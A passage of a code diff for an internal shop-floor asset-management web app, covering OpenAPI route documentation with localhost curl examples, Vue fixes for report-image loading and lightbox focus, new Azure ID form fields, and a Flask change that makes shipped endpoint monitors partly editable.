"description": "Update a local monitor definition; 403 on a shipped row, which is product-owned and read-only\n\n**Auth:** jwt + require_role admin\n\n**Params:** path: monitor_id; body: same fields as create, all optional\n\n**Example:**\n```\ncurl -X PUT http://localhost:5001/api/endpoints/monitors/4 -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' -d '{\"isactive\":false}'\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"bearerAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
},
|
||||||
|
"404": {
|
||||||
|
"description": "No such record."
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"parameters": [
|
||||||
|
{
|
||||||
|
"name": "monitor_id",
|
||||||
|
"in": "path",
|
||||||
|
"required": true,
|
||||||
|
"schema": {
|
||||||
|
"type": "string"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"requestBody": {
|
||||||
|
"required": true,
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"schema": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": true,
|
||||||
|
"description": "path: monitor_id; body: same fields as create, all optional"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"delete": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "Delete a local monitor definition; 403 on a shipped row",
|
||||||
|
"description": "Delete a local monitor definition; 403 on a shipped row\n\n**Auth:** jwt + require_role admin\n\n**Params:** path: monitor_id\n\n**Example:**\n```\ncurl -X DELETE http://localhost:5001/api/endpoints/monitors/4 -H \"Authorization: Bearer $TOK\"\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"bearerAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
},
|
||||||
|
"404": {
|
||||||
|
"description": "No such record."
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"parameters": [
|
||||||
|
{
|
||||||
|
"name": "monitor_id",
|
||||||
|
"in": "path",
|
||||||
|
"required": true,
|
||||||
|
"schema": {
|
||||||
|
"type": "string"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"/api/endpoints/monitors/resolve": {
|
||||||
|
"get": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "Resolve the monitor set a PC type should watch: shipped defaults for 'Shopfloor PC' plus whatever active site policy...",
|
||||||
|
"description": "Resolve the monitor set a PC type should watch: shipped defaults for 'Shopfloor PC' plus whatever active site policy attaches to that type. The human-facing view of what the agent will be told\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** query: pctype (required)\n\n**Example:**\n```\ncurl 'http://localhost:5001/api/endpoints/monitors/resolve?pctype=Shopfloor+PC' -H \"Authorization: Bearer $TOK\"\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"bearerAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"/api/endpoints/monitors/resolved": {
|
||||||
|
"get": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "Agent runtime watch-list. The agent calls this each telemetry cycle and receives {processes[], services[]} shaped like...",
|
||||||
|
"description": "Agent runtime watch-list. The agent calls this each telemetry cycle and receives {processes[], services[]} shaped like its own MonitorConfig, so a policy-attached monitor is watched without editing appsettings.json on the bay. Unknown hostname is a 404; a PC type with no monitors returns empty lists\n\n**Auth:** endpoints collector API key (X-API-Key/Bearer), not JWT\n\n**Params:** query: hostname (required)\n\n**Example:**\n```\ncurl 'http://localhost:5001/api/endpoints/monitors/resolved?hostname=F7MHPF24' -H \"X-API-Key: $ENDPOINTS_KEY\"\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"apiKeyAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"/api/endpoints/operatorreports": {
|
||||||
|
"post": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "Agent uploads one operator issue report captured from the tray. The hostname must resolve to a computer asset. The...",
|
||||||
|
"description": "Agent uploads one operator issue report captured from the tray. The hostname must resolve to a computer asset. The screenshot is stored under a server-generated uuid filename; a retention sweep runs opportunistically so the feed stays bounded without a scheduler\n\n**Auth:** endpoints collector API key (X-API-Key/Bearer), not JWT\n\n**Params:** multipart/form-data: hostname (required), reason (default 'Other (free text)', truncated to 128), details, screenshot (png, 10 MB cap)\n\n**Example:**\n```\ncurl -X POST http://localhost:5001/api/endpoints/operatorreports -H \"X-API-Key: $ENDPOINTS_KEY\" -F hostname=F7MHPF24 -F 'details=Machine will not home' -F screenshot=@shot.png\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"apiKeyAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"requestBody": {
|
||||||
|
"required": true,
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"schema": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": true,
|
||||||
|
"description": "multipart/form-data: hostname (required), reason (default 'Other (free text)', truncated to 128), details, screenshot (png, 10 MB cap)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"/api/endpoints/panel/{asset_id}/operatorreports": {
|
||||||
|
"get": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "Operator Reports asset panel: this endpoint's reports newest first, each carrying a hasimage flag so the viewer knows...",
|
||||||
|
"description": "Operator Reports asset panel: this endpoint's reports newest first, each carrying a hasimage flag so the viewer knows whether to request the screenshot\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** path: asset_id\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/panel/46/operatorreports -H \"Authorization: Bearer $TOK\"\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"bearerAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
},
|
||||||
|
"404": {
|
||||||
|
"description": "No such record."
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"parameters": [
|
||||||
|
{
|
||||||
|
"name": "asset_id",
|
||||||
|
"in": "path",
|
||||||
|
"required": true,
|
||||||
|
"schema": {
|
||||||
|
"type": "string"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"/api/endpoints/operatorreports/{operatorreportid}/image": {
|
||||||
|
"get": {
|
||||||
|
"tags": [
|
||||||
|
"plugin-endpoints"
|
||||||
|
],
|
||||||
|
"summary": "Serve one operator report's screenshot, hardened with the shared upload headers (CSP sandbox + nosniff); 404 when the...",
|
||||||
|
"description": "Serve one operator report's screenshot, hardened with the shared upload headers (CSP sandbox + nosniff); 404 when the report carries no image\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** path: operatorreportid\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/operatorreports/12/image -H \"Authorization: Bearer $TOK\" -o shot.png\n```",
|
||||||
|
"security": [
|
||||||
|
{
|
||||||
|
"bearerAuth": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/SuccessEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"default": {
|
||||||
|
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
|
||||||
|
"content": {
|
||||||
|
"application/json": {
|
||||||
|
"$ref": "#/components/schemas/ErrorEnvelope"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"401": {
|
||||||
|
"description": "Missing or invalid credentials."
|
||||||
|
},
|
||||||
|
"403": {
|
||||||
|
"description": "Authenticated, but not permitted."
|
||||||
|
},
|
||||||
|
"404": {
|
||||||
|
"description": "No such record."
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"parameters": [
|
||||||
|
{
|
||||||
|
"name": "operatorreportid",
|
||||||
|
"in": "path",
|
||||||
|
"required": true,
|
||||||
|
"schema": {
|
||||||
|
"type": "string"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
"/api/scripts": {
|
"/api/scripts": {
|
||||||
"get": {
|
"get": {
|
||||||
"tags": [
|
"tags": [
|
||||||
|
|||||||
@@ -186,10 +186,11 @@
|
|||||||
page rather than a single card. -->
|
page rather than a single card. -->
|
||||||
<div
|
<div
|
||||||
v-if="lightbox.panel"
|
v-if="lightbox.panel"
|
||||||
|
ref="lightboxEl"
|
||||||
class="pap-lightbox"
|
class="pap-lightbox"
|
||||||
role="dialog"
|
role="dialog"
|
||||||
aria-modal="true"
|
aria-modal="true"
|
||||||
tabindex="0"
|
tabindex="-1"
|
||||||
@click.self="closeReport"
|
@click.self="closeReport"
|
||||||
@keydown.esc="closeReport"
|
@keydown.esc="closeReport"
|
||||||
@keydown.left="cycleReport(-1)"
|
@keydown.left="cycleReport(-1)"
|
||||||
@@ -235,7 +236,7 @@
|
|||||||
</template>
|
</template>
|
||||||
|
|
||||||
<script setup>
|
<script setup>
|
||||||
import { ref, computed, watch, onUnmounted } from 'vue'
|
import { ref, computed, watch, onUnmounted, nextTick } from 'vue'
|
||||||
import api from '../api'
|
import api from '../api'
|
||||||
import { colorStyle } from '@/utils/colorStyle'
|
import { colorStyle } from '@/utils/colorStyle'
|
||||||
import {
|
import {
|
||||||
@@ -255,19 +256,38 @@ function formatDate(value) {
|
|||||||
return formatValue(value, { format: 'date' })
|
return formatValue(value, { format: 'date' })
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Called from the template, so it runs on EVERY render. Without the seen-set it
|
||||||
|
// re-fired the GET for a report whose fetch was still in flight, and because
|
||||||
|
// each resolution reassigns reportImageUrls the whole grid re-rendered and
|
||||||
|
// re-fired the rest - N thumbnails cost up to N-squared requests on first load.
|
||||||
|
// Two blobs resolving for one key also orphaned the first object URL, which
|
||||||
|
// revokeReportImageUrls could not free because only the surviving one was in
|
||||||
|
// the map. A failure was never recorded either, so a broken image retried for
|
||||||
|
// the life of the page.
|
||||||
|
//
|
||||||
|
// requestedReportImages tracks "we have asked", separately from the map of
|
||||||
|
// resolved URLs, and is cleared alongside it.
|
||||||
|
const requestedReportImages = new Set()
|
||||||
|
|
||||||
function reportImageUrl(panel, report) {
|
function reportImageUrl(panel, report) {
|
||||||
const key = report.operatorreportid
|
const key = report.operatorreportid
|
||||||
if (reportImageUrls.value[key]) return reportImageUrls.value[key]
|
if (reportImageUrls.value[key]) return reportImageUrls.value[key]
|
||||||
|
if (requestedReportImages.has(key)) return ''
|
||||||
|
requestedReportImages.add(key)
|
||||||
const base = panel.imagebase || '/api/endpoints/operatorreports'
|
const base = panel.imagebase || '/api/endpoints/operatorreports'
|
||||||
const path = toApiPath(base + '/' + key + '/image', props.assetid)
|
const path = toApiPath(base + '/' + key + '/image', props.assetid)
|
||||||
api.get(path, { responseType: 'blob' })
|
api.get(path, { responseType: 'blob' })
|
||||||
.then((response) => {
|
.then((response) => {
|
||||||
reportImageUrls.value = {
|
const url = URL.createObjectURL(response.data)
|
||||||
...reportImageUrls.value,
|
// Another render may have resolved first; keep one URL per key and free
|
||||||
[key]: URL.createObjectURL(response.data),
|
// the loser rather than orphaning it.
|
||||||
|
if (reportImageUrls.value[key]) {
|
||||||
|
try { URL.revokeObjectURL(url) } catch { /* already revoked */ }
|
||||||
|
return
|
||||||
}
|
}
|
||||||
|
reportImageUrls.value = { ...reportImageUrls.value, [key]: url }
|
||||||
})
|
})
|
||||||
.catch(() => {})
|
.catch(() => { /* stays in requestedReportImages: do not retry every render */ })
|
||||||
return ''
|
return ''
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -278,6 +298,7 @@ function revokeReportImageUrls() {
|
|||||||
try { URL.revokeObjectURL(url) } catch { /* already revoked */ }
|
try { URL.revokeObjectURL(url) } catch { /* already revoked */ }
|
||||||
})
|
})
|
||||||
reportImageUrls.value = {}
|
reportImageUrls.value = {}
|
||||||
|
requestedReportImages.clear()
|
||||||
}
|
}
|
||||||
|
|
||||||
onUnmounted(revokeReportImageUrls)
|
onUnmounted(revokeReportImageUrls)
|
||||||
@@ -291,12 +312,26 @@ const openReportRow = computed(() => {
|
|||||||
return rows(lightbox.value.panel)[lightbox.value.index] || null
|
return rows(lightbox.value.panel)[lightbox.value.index] || null
|
||||||
})
|
})
|
||||||
|
|
||||||
|
// The overlay owns Escape and the arrow keys, and a keydown handler on a div
|
||||||
|
// only fires while that div has focus. Nothing moved focus to it, so every
|
||||||
|
// keyboard binding on the lightbox was dead until the user happened to click
|
||||||
|
// the backdrop. Focus it once it has rendered, and hand focus back to the
|
||||||
|
// thumbnail that opened it on close, so keyboard users are not dropped at the
|
||||||
|
// top of the document.
|
||||||
|
const lightboxEl = ref(null)
|
||||||
|
let reopenFocus = null
|
||||||
|
|
||||||
function openReport(panel, index) {
|
function openReport(panel, index) {
|
||||||
|
reopenFocus = typeof document !== 'undefined' ? document.activeElement : null
|
||||||
lightbox.value = { panel, index }
|
lightbox.value = { panel, index }
|
||||||
|
nextTick(() => lightboxEl.value?.focus())
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeReport() {
|
function closeReport() {
|
||||||
lightbox.value = { panel: null, index: 0 }
|
lightbox.value = { panel: null, index: 0 }
|
||||||
|
const returnTo = reopenFocus
|
||||||
|
reopenFocus = null
|
||||||
|
nextTick(() => returnTo?.focus?.())
|
||||||
}
|
}
|
||||||
|
|
||||||
function cycleReport(delta) {
|
function cycleReport(delta) {
|
||||||
@@ -653,7 +688,7 @@ defineExpose({ refresh: load, populatedGroups })
|
|||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
background: var(--bg-alt, #1b1b1b);
|
background: var(--bg);
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
}
|
}
|
||||||
.pap-report-thumb img { width: 100%; height: 100%; object-fit: cover; }
|
.pap-report-thumb img { width: 100%; height: 100%; object-fit: cover; }
|
||||||
|
|||||||
@@ -365,7 +365,7 @@ onUnmounted(() => {
|
|||||||
margin-top: 0.35rem;
|
margin-top: 0.35rem;
|
||||||
padding: 0.1rem 0.5rem;
|
padding: 0.1rem 0.5rem;
|
||||||
border-radius: 3px;
|
border-radius: 3px;
|
||||||
background: #c62828;
|
background: var(--danger);
|
||||||
color: #fff;
|
color: #fff;
|
||||||
font-size: 0.62rem;
|
font-size: 0.62rem;
|
||||||
font-weight: 700;
|
font-weight: 700;
|
||||||
|
|||||||
@@ -310,9 +310,9 @@ async function remove(p) {
|
|||||||
margin: 2px 0 0;
|
margin: 2px 0 0;
|
||||||
padding: 6px 8px;
|
padding: 6px 8px;
|
||||||
font-size: 0.85em;
|
font-size: 0.85em;
|
||||||
color: var(--warning-text, #8a6d3b);
|
color: var(--warning-dark);
|
||||||
background: var(--warning-bg, rgba(240, 173, 78, 0.12));
|
background: var(--bg);
|
||||||
border: 1px solid var(--warning-border, rgba(240, 173, 78, 0.4));
|
border: 1px solid var(--warning);
|
||||||
border-radius: 4px;
|
border-radius: 4px;
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
|
|||||||
@@ -230,7 +230,36 @@
|
|||||||
v-model="form.azuredeviceid"
|
v-model="form.azuredeviceid"
|
||||||
type="text"
|
type="text"
|
||||||
class="form-control"
|
class="form-control"
|
||||||
placeholder="Entra/Azure deviceId GUID (set by Azure imports)"
|
placeholder="Entra deviceId GUID (set by the Azure import)"
|
||||||
|
/>
|
||||||
|
<small class="muted">Opens the device in Intune from the PC page.</small>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- The OBJECT id, not the device id. Entra gives a device both and
|
||||||
|
they address different places: deviceId opens Intune, objectId
|
||||||
|
opens the Entra device record. The import populates both, so a
|
||||||
|
page showing only one left the other uneditable when it was
|
||||||
|
wrong. -->
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="azureobjectid">Azure Object ID</label>
|
||||||
|
<input
|
||||||
|
id="azureobjectid"
|
||||||
|
v-model="form.azureobjectid"
|
||||||
|
type="text"
|
||||||
|
class="form-control"
|
||||||
|
placeholder="Entra objectId GUID (set by the Azure import)"
|
||||||
|
/>
|
||||||
|
<small class="muted">Opens the device in Entra from the PC page.</small>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="azuredevicecategory">Azure Device Category</label>
|
||||||
|
<input
|
||||||
|
id="azuredevicecategory"
|
||||||
|
v-model="form.azuredevicecategory"
|
||||||
|
type="text"
|
||||||
|
class="form-control"
|
||||||
|
placeholder="Entra device category or group label"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -395,6 +424,8 @@ const form = ref({
|
|||||||
osid: '',
|
osid: '',
|
||||||
loggedinuser: '',
|
loggedinuser: '',
|
||||||
azuredeviceid: '',
|
azuredeviceid: '',
|
||||||
|
azureobjectid: '',
|
||||||
|
azuredevicecategory: '',
|
||||||
accessmethods: [],
|
accessmethods: [],
|
||||||
notes: '',
|
notes: '',
|
||||||
mapx: null,
|
mapx: null,
|
||||||
@@ -529,6 +560,8 @@ onMounted(async () => {
|
|||||||
osid: ext.osid || '',
|
osid: ext.osid || '',
|
||||||
loggedinuser: ext.loggedinuser || '',
|
loggedinuser: ext.loggedinuser || '',
|
||||||
azuredeviceid: ext.azuredeviceid || '',
|
azuredeviceid: ext.azuredeviceid || '',
|
||||||
|
azureobjectid: ext.azureobjectid || '',
|
||||||
|
azuredevicecategory: ext.azuredevicecategory || '',
|
||||||
accessmethods: (pc.accessmethods || []).map(a => ({
|
accessmethods: (pc.accessmethods || []).map(a => ({
|
||||||
protocolid: a.protocolid,
|
protocolid: a.protocolid,
|
||||||
portoverride: a.portoverride ?? null
|
portoverride: a.portoverride ?? null
|
||||||
@@ -605,6 +638,8 @@ async function savePC() {
|
|||||||
osid: form.value.osid || null,
|
osid: form.value.osid || null,
|
||||||
loggedinuser: form.value.loggedinuser || null,
|
loggedinuser: form.value.loggedinuser || null,
|
||||||
azuredeviceid: form.value.azuredeviceid || null,
|
azuredeviceid: form.value.azuredeviceid || null,
|
||||||
|
azureobjectid: form.value.azureobjectid || null,
|
||||||
|
azuredevicecategory: form.value.azuredevicecategory || null,
|
||||||
accessmethods: form.value.accessmethods,
|
accessmethods: form.value.accessmethods,
|
||||||
notes: form.value.notes || null,
|
notes: form.value.notes || null,
|
||||||
ipaddress: form.value.ipaddress || null,
|
ipaddress: form.value.ipaddress || null,
|
||||||
|
|||||||
@@ -21,16 +21,30 @@ from flask_jwt_extended import current_user
|
|||||||
|
|
||||||
from shopdb.api import (
|
from shopdb.api import (
|
||||||
db, success_response, error_response, ErrorCodes, require_permission,
|
db, success_response, error_response, ErrorCodes, require_permission,
|
||||||
require_role,
|
require_role, Setting,
|
||||||
)
|
)
|
||||||
|
|
||||||
from ..models import EndpointMonitor
|
from ..models import EndpointMonitor
|
||||||
from .routes import endpoints_bp
|
from .routes import endpoints_bp
|
||||||
|
|
||||||
|
|
||||||
# Shipped monitors default to this PC type until they are authored as policies.
|
# Which PC type the shipped monitors attach to, as a SETTING rather than a
|
||||||
|
# literal (ADR-015). PC-type vocabulary is per-site seed data: a plant whose
|
||||||
|
# type is called "Shop Floor Workstation" got no shipped monitors at all when
|
||||||
|
# this was hardcoded, and a plant that happens to use the name for something
|
||||||
|
# else got all of them. The default matches the seeded type so nothing changes
|
||||||
|
# for a site that uses it; a blank setting attaches the shipped bundle to
|
||||||
|
# nothing, which is the right neutral behaviour for a site that does not want
|
||||||
|
# it rather than a silent mismatch.
|
||||||
|
SHIPPED_PCTYPE_SETTING = 'plugin.endpoints.shippedmonitorpctype'
|
||||||
SHIPPED_DEFAULT_PCTYPE = 'Shopfloor PC'
|
SHIPPED_DEFAULT_PCTYPE = 'Shopfloor PC'
|
||||||
|
|
||||||
|
|
||||||
|
def shipped_pctype():
|
||||||
|
"""The PC type the shipped monitor bundle attaches to at this site."""
|
||||||
|
configured = Setting.get(SHIPPED_PCTYPE_SETTING, default=SHIPPED_DEFAULT_PCTYPE)
|
||||||
|
return (configured or '').strip()
|
||||||
|
|
||||||
_VALID_KINDS = ('process', 'service')
|
_VALID_KINDS = ('process', 'service')
|
||||||
|
|
||||||
|
|
||||||
@@ -93,9 +107,6 @@ def update_monitor(monitor_id):
|
|||||||
if monitor is None:
|
if monitor is None:
|
||||||
return error_response(ErrorCodes.NOT_FOUND, 'Monitor not found',
|
return error_response(ErrorCodes.NOT_FOUND, 'Monitor not found',
|
||||||
http_code=404)
|
http_code=404)
|
||||||
if monitor.source != 'local':
|
|
||||||
return error_response(ErrorCodes.FORBIDDEN,
|
|
||||||
'Shipped monitors cannot be edited', http_code=403)
|
|
||||||
|
|
||||||
body = request.get_json(silent=True) or {}
|
body = request.get_json(silent=True) or {}
|
||||||
kind = (body.get('kind') or monitor.kind or '').strip().lower()
|
kind = (body.get('kind') or monitor.kind or '').strip().lower()
|
||||||
@@ -110,8 +121,27 @@ def update_monitor(monitor_id):
|
|||||||
if problem:
|
if problem:
|
||||||
return error_response(ErrorCodes.VALIDATION_ERROR, problem, http_code=400)
|
return error_response(ErrorCodes.VALIDATION_ERROR, problem, http_code=400)
|
||||||
|
|
||||||
monitor.kind = kind
|
# A shipped row is product-owned IDENTITY, not a product-owned opinion about
|
||||||
monitor.displayname = (body.get('displayname', monitor.displayname) or '').strip()
|
# one site's disk layout. It used to refuse every edit, which meant a plant
|
||||||
|
# whose eDNC lives on D:, or that runs no UDC at all, could neither correct
|
||||||
|
# the launch path nor switch the monitor off - and then got permanent false
|
||||||
|
# drift warnings for it. ADR-015 allows seed data precisely because a site
|
||||||
|
# can edit it afterwards.
|
||||||
|
#
|
||||||
|
# So: kind and displayname are the identity 0007's policy bundle matches on
|
||||||
|
# and stay fixed on a shipped row; the paths and the active flag, which are
|
||||||
|
# what actually differ between plants, are editable.
|
||||||
|
if monitor.source != 'local':
|
||||||
|
for field in ('kind', 'displayname'):
|
||||||
|
if field in body and (body.get(field) or '').strip() != (
|
||||||
|
getattr(monitor, field) or ''):
|
||||||
|
return error_response(
|
||||||
|
ErrorCodes.FORBIDDEN,
|
||||||
|
'A shipped monitor keeps its kind and display name; its '
|
||||||
|
'paths and active flag can be changed', http_code=403)
|
||||||
|
else:
|
||||||
|
monitor.kind = kind
|
||||||
|
monitor.displayname = (body.get('displayname', monitor.displayname) or '').strip()
|
||||||
monitor.processname = (body.get('processname', monitor.processname) or '').strip() or None
|
monitor.processname = (body.get('processname', monitor.processname) or '').strip() or None
|
||||||
monitor.servicename = (body.get('servicename', monitor.servicename) or '').strip() or None
|
monitor.servicename = (body.get('servicename', monitor.servicename) or '').strip() or None
|
||||||
monitor.launchpath = (body.get('launchpath', monitor.launchpath) or '').strip() or None
|
monitor.launchpath = (body.get('launchpath', monitor.launchpath) or '').strip() or None
|
||||||
@@ -142,13 +172,14 @@ def delete_monitor(monitor_id):
|
|||||||
def _resolve_pctype_monitors(pctype):
|
def _resolve_pctype_monitors(pctype):
|
||||||
"""Monitor definitions a PC type should watch: shipped defaults + policy.
|
"""Monitor definitions a PC type should watch: shipped defaults + policy.
|
||||||
|
|
||||||
Shipped monitors are attached to SHIPPED_DEFAULT_PCTYPE as a code rule;
|
Shipped monitors attach to the PC type named by the shipped-pctype setting;
|
||||||
policy-attached monitors come from the computers policy resolver by PC type.
|
policy-attached monitors come from the computers policy resolver by PC type.
|
||||||
Returns a list of EndpointMonitor rows (active only), de-duped by id.
|
Returns a list of EndpointMonitor rows (active only), de-duped by id.
|
||||||
"""
|
"""
|
||||||
selected = {}
|
selected = {}
|
||||||
|
|
||||||
if pctype == SHIPPED_DEFAULT_PCTYPE:
|
shipped_for = shipped_pctype()
|
||||||
|
if shipped_for and pctype == shipped_for:
|
||||||
for monitor in EndpointMonitor.query.filter_by(
|
for monitor in EndpointMonitor.query.filter_by(
|
||||||
source='shipped', isactive=True).all():
|
source='shipped', isactive=True).all():
|
||||||
selected[monitor.endpointmonitorid] = monitor
|
selected[monitor.endpointmonitorid] = monitor
|
||||||
|
|||||||
@@ -39,11 +39,12 @@ def _naive_utcnow():
|
|||||||
return datetime.now(timezone.utc).replace(tzinfo=None)
|
return datetime.now(timezone.utc).replace(tzinfo=None)
|
||||||
|
|
||||||
|
|
||||||
# A watched service or process reports a STATE STRING, not a boolean, and the
|
# What counts as RUNNING is defined once, by the reconciler, and imported here.
|
||||||
# vocabulary varies by source. Both the services panel and the fleet health
|
# The panel and the reconciler read the same agent snapshot, so a disagreement
|
||||||
